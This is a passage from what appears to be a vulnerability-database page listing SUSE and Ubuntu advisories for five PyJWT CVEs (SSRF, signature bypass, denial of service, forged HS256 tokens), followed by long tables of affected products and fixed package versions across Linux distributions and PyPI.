jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:2626-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:2627-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:2627-1- Updated
- 2026-11-02
OSVUSN-8823-1 No score
pyjwt vulnerabilities
It was discovered that PyJWT incorrectly handled certain URIs when using PyJWKClient. A remote attacker could possibly use this issue to perform server-side request forgery (SSRF) or expose sensitive local files. This issue only affected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48522)
It was discovered that PyJWT incorrectly verified cryptographic signatures when decoding tokens with PyJWK keys. A remote attacker could possibly use this issue to bypass signature verification and forge valid JSON Web Tokens. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-48523)
It was discovered that PyJWT incorrectly handled unknown key identifiers in PyJWKClient. A remote attacker could possibly use this issue to cause PyJWT to make excessive network requests, resulting in a denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48524)
It was discovered that PyJWT incorrectly handled payload decoding during detached JWS token verification. A remote attacker could possibly use this issue to cause PyJWT to consume excessive resources, resulting in a denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48525)
It was discovered that PyJWT incorrectly validated JSON Web Keys when decoding tokens with both HMAC and asymmetric algorithms enabled. A remote attacker could possibly use this issue to forge valid tokens, resulting in an authentication bypass. (CVE-2026-48526)
- Record
USN-8823-1- Updated
- 2026-11-02
Affected products
- jpadilla pyjwt
- pyjwt project pyjwt
- red hat openshift lightspeed
- red hat ai inference server
- red hat ai inference server 3.3
- red hat ansible automation platform 2
- red hat ansible automation platform 2.5
- red hat ansible automation platform 2.5 for rhel 8
- red hat ansible automation platform 2.5 for rhel 9
- red hat ansible automation platform 2.6
- red hat ansible automation platform 2.6 for rhel 9
- red hat ansible automation platform 2.7
Show 29 moreShow less
- red hat enterprise linux 10
- red hat enterprise linux 10.0 extended update support
- red hat enterprise linux 9
- red hat enterprise linux 9.2 update services for sap solutions
- red hat enterprise linux 9.4 update services for sap solutions
- red hat enterprise linux 9.6 extended update support
- red hat enterprise linux ai (rhel ai) 3
- red hat hardened images
- red hat migration toolkit for applications 8.2
- red hat openshift ai (rhoai)
- red hat openshift ai 2.25
- red hat openshift ai 3.3
- red hat openshift ai 3.4
- red hat quay 3.10
- red hat quay 3.12
- red hat quay 3.15
- red hat quay 3.16
- red hat quay 3.18
- red hat quay 3.9
- red hat satellite 6
- red hat satellite 6.16 for rhel 8
- red hat satellite 6.16 for rhel 9
- red hat satellite 6.17 for rhel 9
- red hat satellite 6.18
- red hat satellite 6.18 for rhel 9
- red hat satellite 6.19 for rhel 9
- red hat trusted artifact signer 1.3
- red hat trusted artifact signer 1.4
- red hat update infrastructure 4 for cloud providers
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyjwtPyPI |
through 2.13.0 | 2.14.0 |
pyjwtPyPI |
before 2.13.0 | 2.13.0 |
fence-agents-aliyunAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-allAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-amt-wsAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-apcAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-apc-snmpAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-awsAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-azure-armAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-bladecenterAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
Show 290 moreShow less
| Package | Affected | Fixed |
|---|---|---|
fence-agents-brocadeAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-cisco-mdsAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-cisco-ucsAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-commonAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-drac5AlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-eaton-snmpAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-emersonAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-epsAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-gceAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-heuristics-pingAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-hpbladeAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-ibm-powervsAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-ibm-vpcAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-ibmbladeAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-ifmibAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-ilo-moonshotAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-ilo-mpAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-ilo-sshAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-ilo2AlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-intelmodularAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-ipduAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-ipmilanAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-kdumpAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-kubevirtAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-lparAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-mpathAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-nutanix-ahvAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-openstackAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-redfishAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-rhevmAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-rsaAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-rsbAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-sbdAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-scsiAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-virshAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-vmware-restAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-vmware-soapAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-wtiAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-zvmAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-virtAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-virtdAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-virtd-cpgAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-virtd-libvirtAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-virtd-multicastAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-virtd-serialAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-virtd-tcpAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
ha-cloud-supportAlmaLinux:10 |
before 4.16.0-21.el10_2.2 | 4.16.0-21.el10_2.2 |
fence-agents-aliyunAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-allAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-amt-wsAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-apcAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-apc-snmpAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-awsAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-azure-armAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-bladecenterAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-brocadeAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-cisco-mdsAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-cisco-ucsAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-commonAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-computeAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-drac5AlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-eaton-snmpAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-emersonAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-epsAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-gceAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-heuristics-pingAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-hpbladeAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-ibm-powervsAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-ibm-vpcAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-ibmbladeAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-ifmibAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-ilo-moonshotAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-ilo-mpAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-ilo-sshAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-ilo2AlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-intelmodularAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-ipduAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-ipmilanAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-kdumpAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-kubevirtAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-lparAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-mpathAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-nutanix-ahvAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-openstackAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-redfishAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-rhevmAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-rsaAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-rsbAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-sbdAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-scsiAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-virshAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-vmware-restAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-vmware-soapAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-wtiAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-agents-zvmAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-virtAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-virtdAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-virtd-cpgAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-virtd-libvirtAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-virtd-multicastAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-virtd-serialAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
fence-virtd-tcpAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
ha-cloud-supportAlmaLinux:9 |
before 4.10.0-110.el9_8.3 | 4.10.0-110.el9_8.3 |
python-jwtAzure Linux:3 |
before 2.13.0-1 | 2.13.0-1 |
py3-jwtAlpaquita:25 |
2.10.1-r0 up to 2.13.0-r0 | 2.13.0-r0 |
py3-jwtAlpaquita:stream |
2.8.0-r1 up to 2.13.0-r0 | 2.13.0-r0 |
pyjwtTuxCare:PyPI From an advisory covering 4 CVEs |
2.10.1 up to 2.10.1.post2+tuxcare, plus listed versions 2.10.1.post1+tuxcare |
2.10.1.post2+tuxcare |
pyjwtTuxCare:PyPI |
2.8.0 up to 2.8.0.post2+tuxcare, plus listed versions 2.8.0.post1+tuxcare |
2.8.0.post2+tuxcare |
pyjwtTuxCare:PyPI From an advisory covering 2 CVEs |
2.3.0 up to 2.3.0.post2+tuxcare, plus listed versions 2.3.0.post1+tuxcare |
2.3.0.post2+tuxcare |
pyjwtTuxCare:PyPI From an advisory covering 3 CVEs |
1.7.1 up to 1.7.1.post3+tuxcare, plus listed versions 1.7.1.post1+tuxcare1.7.1.post2+tuxcare |
1.7.1.post3+tuxcare |
pyjwtTuxCare:PyPI |
2.10.1 up to 2.10.1.post7+tuxcare, plus listed versions 2.10.1.post1+tuxcare2.10.1.post2+tuxcare2.10.1.post3+tuxcare2.10.1.post4+tuxcare2.10.1.post5+tuxcare2.10.1.post6+tuxcare |
2.10.1.post7+tuxcare |
pyjwtDebian:12 |
All versions, plus listed versions 2.10.1-12.10.1-22.10.1-32.10.1-42.11.0-2 Show 8 moreShow less2.12.1-12.13.0-12.14.0-12.15.0-12.15.1-12.6.0-12.6.0-1+deb12u12.7.0-1 |
None known |
pyjwtDebian:13 |
All versions, plus listed versions 2.10.1-22.10.1-2+deb13u12.10.1-32.10.1-42.11.0-2 Show 5 moreShow less2.12.1-12.13.0-12.14.0-12.15.0-12.15.1-1 |
None known |
pyjwtDebian:14 |
before 2.13.0-1, plus listed versions 2.10.1-22.10.1-32.10.1-42.11.0-22.12.1-1 |
2.13.0-1 |
pyjwtPyPI |
before 2.14.0, plus listed versions 0.1.10.1.20.1.30.1.40.1.5 Show 45 moreShow less0.1.60.1.70.1.80.1.90.2.00.2.10.2.30.3.00.3.10.3.20.4.00.4.10.4.20.4.31.0.01.0.11.1.01.3.01.4.01.4.11.4.21.5.01.5.11.5.21.5.31.6.01.6.11.6.31.6.41.7.01.7.12.0.02.0.0a12.0.0a22.0.12.1.02.10.02.10.12.11.02.12.02.12.12.13.02.2.02.3.02.4.0 |
2.14.0 |
pyjwtPyPI |
before 2.13.0, plus listed versions 0.1.10.1.20.1.30.1.40.1.5 Show 45 moreShow less0.1.60.1.70.1.80.1.90.2.00.2.10.2.30.3.00.3.10.3.20.4.00.4.10.4.20.4.31.0.01.0.11.1.01.3.01.4.01.4.11.4.21.5.01.5.11.5.21.5.31.6.01.6.11.6.31.6.41.7.01.7.12.0.02.0.0a12.0.0a22.0.12.1.02.10.02.10.12.11.02.12.02.12.12.2.02.3.02.4.02.5.0 |
2.13.0 |
fence-agentsRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-aliyunRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-allRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-amt-wsRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-apcRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-apc-snmpRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-awsRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-azure-armRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-bladecenterRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-brocadeRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-cisco-mdsRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-cisco-ucsRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-commonRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-common-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-debugsourceRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-drac5Red Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-eaton-snmpRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-emersonRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-epsRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-gceRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-heuristics-pingRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-hpbladeRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-ibm-powervsRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-ibm-vpcRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-ibmbladeRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-ifmibRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-ilo-moonshotRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-ilo-mpRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-ilo-sshRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-ilo2Red Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-intelmodularRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-ipduRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-ipmilanRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-kdumpRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-kdump-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-kubevirtRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-lparRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-mpathRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-nutanix-ahvRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-openstackRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-redfishRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-rhevmRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-rsaRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-rsbRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-sbdRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-scsiRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-virshRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-vmware-restRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-vmware-soapRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-wtiRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agents-zvmRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virt-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtdRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-cpgRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-cpg-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-libvirtRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-libvirt-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-multicastRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-multicast-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-serialRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-serial-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-tcpRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-virtd-tcp-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
ha-cloud-supportRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
ha-cloud-support-debuginfoRed Hat:enterprise_linux:10.2 |
before 0:4.16.0-21.el10_2.2 | 0:4.16.0-21.el10_2.2 |
fence-agentsRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-aliyunRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
fence-agents-allRed Hat:enterprise_linux:9::appstream |
before 0:4.10.0-110.el9_8.3 | 0:4.10.0-110.el9_8.3 |
